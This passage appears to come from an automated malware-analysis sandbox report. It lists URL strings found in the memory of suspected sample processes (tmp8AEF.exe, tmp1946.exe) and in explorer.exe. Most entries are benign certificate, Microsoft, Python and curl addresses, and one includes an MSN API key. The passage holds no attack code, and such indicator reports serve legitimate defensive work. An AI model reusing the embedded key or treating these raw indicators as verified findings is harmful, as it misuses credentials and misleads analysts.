00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: tmp8AEF.exe, 00000006.00000003.2247224120.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: tmp8AEF.exe, 00000006.00000003.2247224120.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic:
Source: tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: explorer.exe, 00000003.00000002.3335969864.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2103838610.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D49000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D4C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: explorer.exe, 00000003.00000003.3094406378.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3094406378.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D49000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D4C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D4C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D49000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D4C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: explorer.exe, 00000003.00000003.3094406378.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3094406378.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D49000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D4C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D4C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: explorer.exe, 00000003.00000003.3094406378.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3094406378.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D49000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D4C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D49000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D4C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D4C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: explorer.exe, 00000003.00000002.3343563900.00000000099BF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3094406378.00000000099B1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: tmp8AEF.exe, 00000009.00000002.2285358677.00007FF8A8DFD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://python.org/dev/peps/pep-0263/
Source: explorer.exe, 00000003.00000002.3342356971.0000000008870000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.2112187028.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.2112881693.0000000008890000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: explorer.exe, 00000003.00000003.2691930896.000000000C8ED000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/auto
Source: explorer.exe, 00000003.00000000.2118670983.000000000C891000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoA
Source: tmp8AEF.exe, 00000006.00000003.2255370339.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2281772785.000002E4B9C70000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2283914554.000002E4B9C7C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2282198812.000002E4B9C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/dev/peps/pep-0205/
Source: tmp8AEF.exe, 00000009.00000003.2280679574.000002E4B9C74000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2280711426.000002E4B9C68000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2284411794.000002E4BBBB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/download/releases/2.3/mro/.
Source: tmp1946.exe, 0000000B.00000000.2285738075.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe, 0000000B.00000002.2550694420.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe.2.dr	String found in binary or memory: http://www.winimage.com/zLibDll
Source: tmp1946.exe, 0000000B.00000000.2285738075.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe, 0000000B.00000002.2550694420.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe.2.dr	String found in binary or memory: http://www.winimage.com/zLibDll1.3.1-wbr
Source: explorer.exe, 00000003.00000000.2117173710.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3096617863.000000000C547000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3349612496.000000000C54A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000003.00000000.2106502490.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3339715609.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000003.00000000.2113623641.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3094406378.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000003.00000002.3339715609.0000000007637000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2106502490.0000000007637000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000003.00000002.3337758114.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2104977564.00000000035FA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.coml
Source: tmp1946.exe, tmp1946.exe, 0000000B.00000000.2285738075.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe, 0000000B.00000002.2550694420.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe.2.dr	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: tmp1946.exe	String found in binary or memory: https://curl.se/docs/alt-svc.html#
Source: tmp1946.exe, tmp1946.exe, 0000000B.00000000.2285738075.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe, 0000000B.00000002.2550694420.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe.2.dr	String found in binary or memory: https://curl.se/docs/hsts.html
Source: tmp1946.exe	String found in binary or memory: https://curl.se/docs/hsts.html#
Source: tmp1946.exe, tmp1946.exe, 0000000B.00000000.2285738075.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe, 0000000B.00000002.2550694420.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe.2.dr	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: tmp1946.exe	String found in binary or memory: https://curl.se/docs/http-cookies.html#
Source: explorer.exe, 00000003.00000003.3094406378.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: tmp8AEF.exe, 00000009.00000003.2281953921.000002E4B9BC0000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2283820341.000002E4B9C57000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2282844715.000002E4B9BE0000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2283743849.000002E4B9BE1000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2282767428.000002E4B9C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: tmp8AEF.exe, 00000009.00000002.2284008198.000002E4BB870000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: tmp8AEF.exe, 00000009.00000003.2282767428.000002E4B9C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: tmp8AEF.exe, 00000009.00000003.2281953921.000002E4B9BC0000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2283820341.000002E4B9C57000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2282844715.000002E4B9BE0000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2283743849.000002E4B9BE1000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2282767428.000002E4B9C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: tmp8AEF.exe, 00000009.00000003.2281953921.000002E4B9BC0000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2283820341.000002E4B9C57000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2282844715.000002E4B9BE0000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2283743849.000002E4B9BE1000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2282767428.000002E4B9C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: explorer.exe, 00000003.00000003.3094406378.0000000009D42000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000003.00000002.3349111862.000000000C460000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2117173710.000000000C460000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000003.00000002.3343563900.00000000099BF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3094406378.00000000099B1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/)s
Source: explorer.exe, 00000003.00000002.3343563900.00000000099BF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3094406378.00000000099B1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comon
